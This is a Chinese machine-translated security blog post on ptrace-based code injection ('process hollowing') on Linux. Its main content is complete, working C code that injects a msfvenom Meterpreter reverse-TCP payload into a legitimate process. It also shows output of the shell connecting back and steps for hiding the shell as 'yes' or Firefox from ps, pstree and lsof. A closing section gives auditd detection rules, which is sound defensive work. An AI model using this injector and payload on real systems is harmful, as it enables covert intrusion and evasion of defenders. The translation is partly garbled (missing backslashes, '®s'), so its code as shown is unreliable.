进程挖空(Process Hollowing)是一种在操作系统中将任意代码注入到另一个进程中的技术。在 Linux 系统上,虽然不能像在 Windows 中那样直接将进程挂起,但可以利用 ptrace() 系统调用来实现类似的效果。这种方法通常用于增加攻击者在系统上操作的隐蔽性,绕过一些安全防护措施。
攻击者和渗透测试人员长期以来一直在隐藏他们在系统上的存在,以避免被防御团队发现,并使人们更难怀疑他们是否曾经进入他们的边界。实现此目标的一种方法是将恶意操作隐藏在机器上的合法进程中。有多种技术可以在操作系统上实现这种级别的隐身性,例如远程注入进程、侧载库或“挖空”合法进程。
虽然进程挖空是一种在 Windows 机器上隐藏自身的长期已知技术,但关于在 GNU/Linux 机器上使用它的实用文档却少得多。关于如何以自动方式检测它的使用情况的文档就更少了。本文试图填补这一空白。
流程空心化理论
Process Hollowing 是一种将任意代码注入另一个进程地址空间的方法。它的工作原理是创建一个处于“挂起”状态的进程,用任意代码(如 shellcode)重写其内存空间并恢复它。一旦恢复,该进程在操作系统实用程序看来是合法的,但在内部,它将运行恶意代码。
它主要用于逃避检测并增加攻击者在操作系统上的隐蔽性,但它也可能绕过一些防病毒软件和 EDR。这种技术使用非常频繁,以至于它既成为MITRE 的记录,也成为在线渗透测试课程的教材。截至今天,许多恶意软件仍在使用它。
Windows 上的进程挖空
要在 Windows 上实现进程挖空,可以使用该CreateProcess函数。该函数有dwCreationFlags一个参数,可以包含一个CREATE_SUSPENDED标志,使新创建的进程处于“挂起”状态,等待创建者进程将其恢复。然后需要进行一些计算来检索正确的地址,以将任意代码重写到该进程中。完成后,可以使用该ResumeThread函数恢复新创建的进程。
简而言之,函数调用如下所示:
-
CreateProcess处于暂停状态
-
通过以下方式获取远程进程的 PEB 地址ZwQueryInformationProcess
-
ReadProcessMemory获取 PEB 中新创建进程的基地址
-
做一些黑魔法计算来获得正确的入口点地址
-
WriteProcessMemory将 shellcode 添加到新创建的进程中
-
通过以下方式恢复该过程ResumeThread
这在过去已被广泛记录,您可以轻松找到执行此操作的代码:
-
https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/
-
https://github.com/m0n0ph1/Process-Hollowing
Linux 上的进程挖空?
从技术角度来说,“进程挖空”这个名称并不适合本文描述的技术,因为在 Linux 上无法以暂停的方式启动进程。但是,可以使用不同的方法在执行开始后立即停止进程,这足以实现与 Windows 相同的隐秘程度。
APIptrace
Linux API ptrace就是其中一种方法。它的最初目的是用来调试其他进程,GNU 调试器就是其中之一。人们可以通过系统调用gdb观察和更改进程内存和寄存器,并更改其执行流程。ptrace()
为了演示这种技术,我们将编写一段 C 代码,以合法的程序名称作为参数,ptrace()在其中注入 shellcode 并获取反向 Meterpreter shell。
更详细地说,我们想要的是:
-
fork()使用系统调用创建子进程
-
通过调用来停止它ptrace()
-
RIP使用 shellcode重写其寄存器目标地址,以通过以下方式重定向其执行流程ptrace()
-
通过恢复ptrace()
如您所见,大部分繁重的工作都可以通过ptrace()系统调用完成。这是一种功能强大且易于检测的执行进程挖空方法。
首先,我们通过以下方式生成 shellcode msfvenom:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -f c
请注意,它是在 Kali 机器上本地完成的,但它可以适用于任何类型的有效载荷。
然后我们需要使用fork()系统调用来创建一个子进程:
pid_t pid = fork();
if (pid == 0)
{
// child process
...
}
else
{
// parent process
}
// child process
if (pid == 0)
{
// attaching to child
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
{
perror("Could not attach to child process");
return 1;
}
execve(prog_name, params, 0);
return 1;
}
prog_name并params在后面描述。
然而,父分支稍微复杂一些。首先,我们要等待子进程:
// parent process
if (waitpid(pid, 0, 0) == -1)
{
perror("Failed waiting for child process");
return 1;
}
// Get child process registers
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
{
perror("Failed getting child registers");
return 1;
}
现在regs.rip包含子进程的指令指针,并且将成为我们 shellcode 的写入目的地。
编写 shellcode 有点复杂。我们需要使用ptrace()标志循环调用PTRACE_POKETEXT。这会写入进程内存,但每次只能写入一个字(在我的计算机上为 8 个字节)。我们需要将 shellcode 缓冲区转换为数组unsigned long:
// Rewrite RIP with our shellcode
unsigned long addr = regs.rip;
for (int i = 0; i < len; i = i + sizeof(unsigned long))
{
unsigned long w = ((unsigned long*)buf)[i/sizeof(unsigned long)];
if (ptrace(PTRACE_POKETEXT, pid, addr + i, w) == -1)
{
perror("Failed writing memory to child");
}
printf("Writing PID: %d Addr: 0x%08x Buf: 0x%08xn", pid, addr + i, w);
}
一旦编写了 shellcode,我们就需要通过分离子进程来恢复执行:
// Detach from child
if (ptrace(PTRACE_DETACH, pid, 0, 0) == -1)
{
perror("Failed detaching from child");
return 1;
}
完整代码如下:
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
size_t len = 130;
unsigned char buf[] =
"x31xffx6ax09x58x99xb6x10x48x89xd6x4dx31xc9"
"x6ax22x41x5ax6ax07x5ax0fx05x48x85xc0x78x51"
"x6ax0ax41x59x50x6ax29x58x99x6ax02x5fx6ax01"
"x5ex0fx05x48x85xc0x78x3bx48x97x48xb9x02x00"
"x01xbbx7fx00x00x01x51x48x89xe6x6ax10x5ax6a"
"x2ax58x0fx05x59x48x85xc0x79x25x49xffxc9x74"
"x18x57x6ax23x58x6ax00x6ax05x48x89xe7x48x31"
"xf6x0fx05x59x59x5fx48x85xc0x79xc7x6ax3cx58"
"x6ax01x5fx0fx05x5ex6ax7ex5ax0fx05x48x85xc0"
"x78xedxffxe6";
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("Usage: %s binaryn", argv[0]);
return 1;
}
char *prog_name = argv[1];
pid_t pid = fork();
char *const params[] = { prog_name, 0};
// child process
if (pid == 0)
{
// attaching to child
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
{
perror("Could not attach to child process");
return 1;
}
execve(prog_name, params, 0);
return 1;
}
// parent process
if (waitpid(pid, 0, 0) == -1)
{
perror("Failed waiting for child process");
return 1;
}
// Get child process registers
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
{
perror("Failed getting child registers");
return 1;
}
// Rewrite RIP with our shellcode
unsigned long addr = regs.rip;
for (int i = 0; i < len; i = i + sizeof(unsigned long))
{
unsigned long w = ((unsigned long*)buf)[i/sizeof(unsigned long)];
if (ptrace(PTRACE_POKETEXT, pid, addr + i, w) == -1)
{
perror("Failed writing memory to child");
}
printf("Writing PID: %d Addr: 0x%08x Buf: 0x%08xn", pid, addr + i, w);
}
// Detach from child
if (ptrace(PTRACE_DETACH, pid, 0, 0) == -1)
{
perror("Failed detaching from child");
return 1;
}
return 0;
}
旦编译并以/usr/bin/yes目标进程的形式运行,此代码就会为我们提供一个 meterpreter 反向 shell,正如预期的那样:
$ gcc -o ptrace ptrace.c
$ ./ptrace /usr/bin/yes
Writing PID: 487024 Addr: 0xf7977810 Buf: 0x096aff31
Writing PID: 487024 Addr: 0xf7977818 Buf: 0x4dd68948
Writing PID: 487024 Addr: 0xf7977820 Buf: 0x076a5a41
Writing PID: 487024 Addr: 0xf7977828 Buf: 0x5178c085
Writing PID: 487024 Addr: 0xf7977830 Buf: 0x58296a50
Writing PID: 487024 Addr: 0xf7977838 Buf: 0x0f5e016a
Writing PID: 487024 Addr: 0xf7977840 Buf: 0x97483b78
Writing PID: 487024 Addr: 0xf7977848 Buf: 0x007fbb01
Writing PID: 487024 Addr: 0xf7977850 Buf: 0x106ae689
Writing PID: 487024 Addr: 0xf7977858 Buf: 0x4859050f
Writing PID: 487024 Addr: 0xf7977860 Buf: 0x74c9ff49
Writing PID: 487024 Addr: 0xf7977868 Buf: 0x6a006a58
Writing PID: 487024 Addr: 0xf7977870 Buf: 0x0ff63148
Writing PID: 487024 Addr: 0xf7977878 Buf: 0x79c08548
Writing PID: 487024 Addr: 0xf7977880 Buf: 0x0f5f016a
Writing PID: 487024 Addr: 0xf7977888 Buf: 0x48050f5a
Writing PID: 487024 Addr: 0xf7977890 Buf: 0x0000e6ff
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:443 -> 127.0.0.1:38250) at 2024-09-06 09:28:13 -0400
它将作为实用程序yes的二进制文件出现top:
如果我们尝试使用,情况也一样pidof:
$ pidof yes
487024
与ps实用程序相同:
$ ps aux | grep 487024
kali 487024 0.0 0.0 3420 2948 pts/4 S 09:28 0:00 /usr/bin/yes
如果我们尝试直接寻找它的cmdline:
$ cat /proc/487024/cmdline
/usr/bin/yes
有效地使其乍一看看起来像一个合法的过程,并且使用常用工具
更加隐秘
该yes二进制文件是一种非常不寻常的隐藏自身的选择,特别是如果你在 meterpreter 上尝试运行 shell,它将作为的子进程出现yes,看起来很可疑:
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 669754 created.
Channel 1 created.
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),136(wireshark),137(kaboxer)
$ pstree
...
├─upowerd───3*[{upowerd}]
├─vmtoolsd───3*[{vmtoolsd}]
├─vmtoolsd───2*[{vmtoolsd}]
├─vmware-vmblock-───2*[{vmware-vmblock-}]
├─xcape───{xcape}
└─yes───sh <====
此外,该过程会有持续的网络连接,这也是不寻常的:
$ lsof -a -i4 -i6 -itcp | grep yes
yes 669561 kali 3u IPv4 487024 0t0 TCP localhost:42152->localhost:https (ESTABLISHED)
哪个程序会生成 Shell 脚本并具有 HTTPS 连接,但却混入合法进程?浏览器是一个很好的候选者:
$ ./ptrace /usr/lib/firefox-esr/firefox-esr
Writing PID: 673509 Addr: 0x23e0b810 Buf: 0x096aff31
...
$ pstree
...
|-dockerd---13*[{dockerd}]
|-firefox-esr---sh
|-haveged
...
$ lsof -a -i4 -i6 -itcp | grep firefox
firefox-e 3711 kali 89u IPv4 1204923 0t0 TCP 192.168.209.130:50612->93.243.107.34.bc.googleusercontent.com:https (ESTABLISHED)
firefox-e 673509 kali 3u IPv4 1200039 0t0 TCP localhost:59738->localhost:https (ESTABLISHED)
上述情况不太可能引起注意。
检测
审计和系统调用
使用规则可以检测以前的技术auditd。审计守护进程允许通过选项检测系统调用-S。ptrace()但是,检测系统调用的范围太广,并且会给防御团队带来太多误报(想象一下人们gdb在生产系统上使用的次数)。解决此问题的方法是仅检测通过系统PTRACE_POKETEXT调用操作对其他进程内存的写入ptrace()。
我们可以创建一个规则来实现该签名/etc/audit/rules.d/hollowing.rules:
-a always,exit -S ptrace -F a0=4 -k hollowing_ptrace_poketext
该数字4对应于操作码PTRACE_POKETEXT:
#define PTRACE_TRACEME 0
#define PTRACE_PEEKTEXT 1
#define PTRACE_PEEKDATA 2
#define PTRACE_PEEKUSR 3
#define PTRACE_POKETEXT 4
...
一旦触发./ptrace程序,就会引发几个事件:
# grep hollowing_ptrace_poketext /var/log/audit/audit.log
type=SYSCALL msg=audit(1725699376.347:67): arch=c000003e syscall=101 success=yes exit=0 a0=4 a1=a995c a2=7f349503b810 a3=10b69958096aff31 items=0 ppid=426553 pid=694619 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_poketext"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
type=SYSCALL msg=audit(1725699376.347:68): arch=c000003e syscall=101 success=yes exit=0 a0=4 a1=a995c a2=7f349503b818 a3=226ac9314dd68948 items=0 ppid=426553 pid=694619 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_poketext"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
另外,可以为该PTRACE_GETREGS操作创建一条规则,但就其本身而言,在我看来并不够可疑:
-a always,exit -S ptrace -F a0=12 -k hollowing_ptrace_getregs
# grep hollowing_ptrace_getregs /var/log/audit/audit.log
type=CONFIG_CHANGE msg=audit(1725700498.973:145): auid=4294967295 ses=4294967295 subj=unconfined op=add_rule key="hollowing_ptrace_getregs" list=4 res=1AUID="unset"
type=SYSCALL msg=audit(1725700502.105:155): arch=c000003e syscall=101 success=yes exit=0 a0=c a1=abda9 a2=0 a3=7ffc8959a7c0 items=0 ppid=426553 pid=703912 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_getregs"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
首先需要关联一个事件hollowing_ptrace_getregs,然后关联一个或多个hollowing_ptrace_poketext事件。这样就有很高的概率产生真阳性,从而检测出攻击者。
行为检测
检测注入的另一种方法是查看进程在系统上的行为是否可疑。使用上面的例子,我们可以说,/bin/sh对于进程来说,拥有子进程或 HTTPS 持续连接是不寻常的/usr/bin/yes。但这种方法的问题在于,它需要对合法进程在操作系统上的行为有深入的了解,而这很难获得。人们可以使用机器学习来发现此类异常。
内存检测
在取证调查中,如果某人拥有进程的内存快照,则可以将进程的已知“良好”映像与当前内存中的映像进行比较。Volatility 人员为此开发了一个插件:https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py。它依赖于比较符号偏移量并在它们不同时发出警报。
结论
虽然严格来说不能算作进程挖空,但通过ptrace() Linux 上的系统调用进行的代码注入在隐蔽性方面也达到了同样的目的。在企业 Linux 环境中检测这种技术是必要的,这样才能不忽略看似合法的进程,并防止攻击者逃脱监控。
上面显示的所有代码和审计规则都可以在我的 github 上找到:https ://github.com/jeffbencteux/Linux-process-hollowing
参考
-
https://attack.mitre.org/techniques/T1055/012/
-
https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/
-
https://github.com/m0n0ph1/Process-Hollowing
-
https://security.stackexchange.com/questions/272164/is-it-wrong-to-refer-to-ptrace-process-injection-as-process-hollowing
-
https://man7.org/linux/man-pages/man2/ptrace.2.html
-
https://man7.org/linux/man-pages/man2/waitpid.2.html
-
https://trustedsec.com/blog/the-nightmare-of-proc-hollows-exe
-
https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py
-
https://bleach.fandom.com/wiki/List_of_Hollows
原文始发于微信公众号(Ots安全):Linux 下的进程挖空(Process Hollowing)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论